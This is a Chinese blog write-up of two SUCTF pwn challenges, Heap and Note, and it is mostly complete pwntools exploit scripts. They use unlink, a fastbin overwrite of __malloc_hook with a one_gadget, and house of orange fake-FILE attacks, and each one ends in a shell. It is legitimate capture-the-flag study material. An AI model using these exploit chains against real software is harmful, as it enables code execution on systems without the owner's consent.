suctf的两道pwn——Heap和Note

大佬们去打tctf了,pwn题没有人做,当时心里想的是至少也要扛起担子做个一题吧,然而现实是残酷的(:з」∠)没一题会做。。。。最后还是v爷爷回来秒掉一题,这两题是里面比较简单和普通的题,写篇博客记录一下(PS:记录向的肯定不会很详细)

1.Heap

程序的关键点都在下面

avatar

和普通的堆题相比,这里会连续生成两个相同大小的chunk,用read读到第一个chunk里并strcpy到第二个中,随后free掉第一个,也就是把第一个当做缓冲区用。

注意这里用read读取字符串而用strcpy来拷贝字符串,前后的长度无法保证一致,事实上如果写满直到下一个chunk的prev_size就可以把下一个chunk的size一起copy过去,而edit函数利用strlen来确定字符串长度,这样就可以随意修改下一个chunk的size了,这时如果伪造一个chunk出来,就可以通过unlink获得heap地址,而且可以通过edit随意修改为所欲为

现在看来的确是一个简单的题目了,看来本人还是缺乏一些自主思考的能力,可能是面向wp解题太多了的问题,急需提升!

下面是poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./offbyone')
bin = ELF('./offbyone')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(leng,con):
cn.sendline('1')
cn.sendline(str(leng))
cn.sendline(con)
cn.recvuntil('input your data')

def dele(idx):
cn.sendline('2')
cn.sendline(str(idx))
cn.recvuntil('input id')

def show(idx):
cn.sendline('3')
cn.sendline(str(idx))
cn.recvuntil('input id')

def edit(idx,con):
cn.sendline('4')
cn.sendline(str(idx))
cn.sendline(con)
cn.recvuntil('input your data')


chunk_list = 0x6020c0
p3 = chunk_list + 3 * 8
#>= 0x7f <= 0x100
add(0xa0,'/bin/sh\x00')#0
add(0xa0,'$0\x00')#1
add(0xa0,'a' * 0x90)#2

add(0xa0,'b' * 0x90)#3
add(0xa0,'a' * 0x90)#4

dele(3)

add(0xa8,'b' * 0xa8)#3

buf = p64(0) + p64(0xa0) + p64(p3 - 0x18) + p64(p3 - 0x10)
buf = buf.ljust(0xa0,'x')
buf+= p64(0xa0) + p64(0xb0)


edit(3,buf)

dele(4)

show(3)

sh_addr = u64(cn.recvuntil('1:')[1:-2].ljust(8,'\x00'))
heap_addr = sh_addr - 0xe0
print('heap_addr:' + hex(heap_addr))
#show(1)
edit(3,p64(heap_addr + 0x30))

show(0)
libc_addr = u64(cn.recvuntil('1:')[1:-2].ljust(8,'\x00')) - 88 - 0x3c4b20
print('libc_addr:' + hex(libc_addr))
edit(3,p64(bin.got['free']))
edit(0,p64(libc_addr + libc.symbols['system']))
edit(3,p64(sh_addr))



dele(1)


cn.interactive()

2.Note

这题你只有一次Free的机会,利用它你可以很容易的得到libc地址,而且这题还存在一个不限长的溢出,可以伪造fastbin堆块,改写malloc_hook的地址为one_gadgets直接拿shell

或者用house of orange的思路,通过unsorted bin attack修改_IO_list_all,修改_IO_OVERFLOW为one_gadgets或者system(这里的解决方案算是我唯一和v爷爷答案不同的地方了),之后触发_IO_OVERFLOW也可以成功,这题我会记录多个poc(包括一个别人写的),感谢veritas501学长的指导(以及非常好用的FILE.py

再提一下题目第二种思路,如果不能leak堆地址,或是在更新的libc版本中,伪造vtable是无法实现的,也就是我自己的办法就没法做了,但v爷爷的办法依旧可行(这种办法是真的强,我后来尝试找了一下有没有可以做到类似功能的代码,但是没有找到,不知道大佬都是怎么找的

fastbin做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./note')
bin = ELF('./note')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('')
bin = ELF('./note')
libc = ELF('')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(leng,con):
cn.sendline('1')
cn.sendline(str(leng))
cn.sendline(con)
cn.recvuntil('Choice>>')

def show(idx):
cn.sendline('2')
cn.sendline(str(idx))
cn.recvuntil('Choice>>')

def pan():
cn.sendline('3')
cn.sendline('1')
cn.recvuntil('Choice>>')



add(0x28,'a' * 0x28 + p64(0xEB1))
add(0xeb0-0xa0,'a')
add(0x100,'0x70')

pan()
show(0)
cn.recvuntil('Content:')
libc_base = u64(cn.recvline()[:-1].ljust(8,'\x00')) - 88 - 0x3c4b20
print('libc_base:' + hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print('malloc_hook:' + hex(malloc_hook))

add(0x20,'b' * 0x20 + p64(0) + p64(0x100) + 'a' * (0xf60 - 0x30) + p64(0) + p64(0x71) + p64(malloc_hook - 0x23))

add(0x60,'aaa')

buf = ''
buf+= '\x00' * (3 + 8) + p64(libc_base+0x4526a) + p64(libc_base + libc.plt['realloc'])


add(0x60,buf)
z('b*%d\nc'%(libc_base+0x4526a))
cn.sendline('1')
cn.sendline('123')

cn.interactive()

'''

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

我的house of orange做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./note')
bin = ELF('./note')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('')
bin = ELF('./note')
libc = ELF('')


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(leng,con):
cn.sendline('1')
cn.sendline(str(leng))
cn.sendline(con)
cn.recvuntil('Choice>>')

def show(idx):
cn.sendline('2')
cn.sendline(str(idx))
cn.recvuntil('Choice>>')

def pan():
cn.sendline('3')
cn.sendline('1')
cn.recvuntil('Choice>>')


add(0x28,'a' * 0x28 + p64(0xeb1))
add(0x1000,'abc')
pan()
show(0)
cn.recvuntil('Content:')
heap_base = u64(cn.recvline()[:-1].ljust(8,'\x00')) - 0x150
print('heap_base:' + hex(heap_base))

add(0x88,'bb')

show(1)
cn.recvuntil('Content:')
libc_base = u64(cn.recvline()[:-1].ljust(8,'\x00')) - 88 - 0x3c4b20
print('libc_base:' + hex(libc_base))



_IO_list_all = libc_base+0x3c5520
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
from FILE import *
context.arch = 'amd64'
ff = IO_FILE_plus_struct()
ff._mode = 0
ff._flags = u64('$0'.ljust(8,'\x00'))
ff._IO_read_ptr = 0x61
ff._IO_read_base = _IO_list_all-0x10
ff._IO_write_base = 0
ff._IO_write_ptr = 1
ff.vtable = heap_base + 0x1a8 - 0x18
buf = 'a'*0x20 + str(ff).ljust(0xe8,'\x00')+p64(system)
#buf = 'a'*0x20 + str(ff).ljust(0xe8,'\x00')+p64(libc_base + 0xf1147)
add(0x20,buf)

z('b*%d\nc'%system)

cn.sendline('1')
cn.sendline(str(0x233))
cn.interactive()

'''

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

v爷爷的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./note')
bin = ELF('./note',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
#cn = remote('')
pass


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(size,con):
cn.recvuntil('Choice>>')
cn.sendline('1')
cn.recvuntil('Size:')
cn.sendline(str(size))
cn.recvuntil('Content:')
cn.sendline(con)

def show(idx):
cn.recvuntil('Choice>>')
cn.sendline('2')
cn.recvuntil('Index:')
cn.sendline(str(idx))

def pandora():
cn.recvuntil('Choice>>')
cn.sendline('3')
cn.recvuntil('This is a Pandora box,are you sure to open it?(yes:1)')
cn.sendline('1')


pandora()
show(0)
cn.recvuntil('Content:')
lbase = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x3c4b20-88
success('lbase: '+hex(lbase))

pay = 'a'*0x28+p64(0xfd1)
add(0x20,pay)

add(0x1000,'asd')


system = lbase+libc.symbols['system']
_IO_list_all = lbase+0x3c5520
_IO_str_jumps = lbase+0x3c37a0
binsh = lbase+libc.search('/bin/sh\x00').next()

pay='e'*0x400
from FILE import *
context.arch = 'amd64'
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base =_IO_list_all-0x10
fake_file._IO_buf_base = binsh
fake_file._mode = 0
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file.vtable = _IO_str_jumps-8
pay+=str(fake_file).ljust(0xe8,'\x00')+p64(system)

#z('set follow-fork-mode parent\nc')
add(0x400,pay)
print(hex(_IO_str_jumps-8+0x18))
z()
#z('b*%d\nc'%(_IO_str_jumps-8+0x18))
#0x7fa28e2a5000 0x00007fa28e66a520 3C5520
cn.recvuntil('Choice>>')
cn.sendline('1')
cn.recvuntil('Size:')
cn.sendline(str(0x233))

cn.interactive()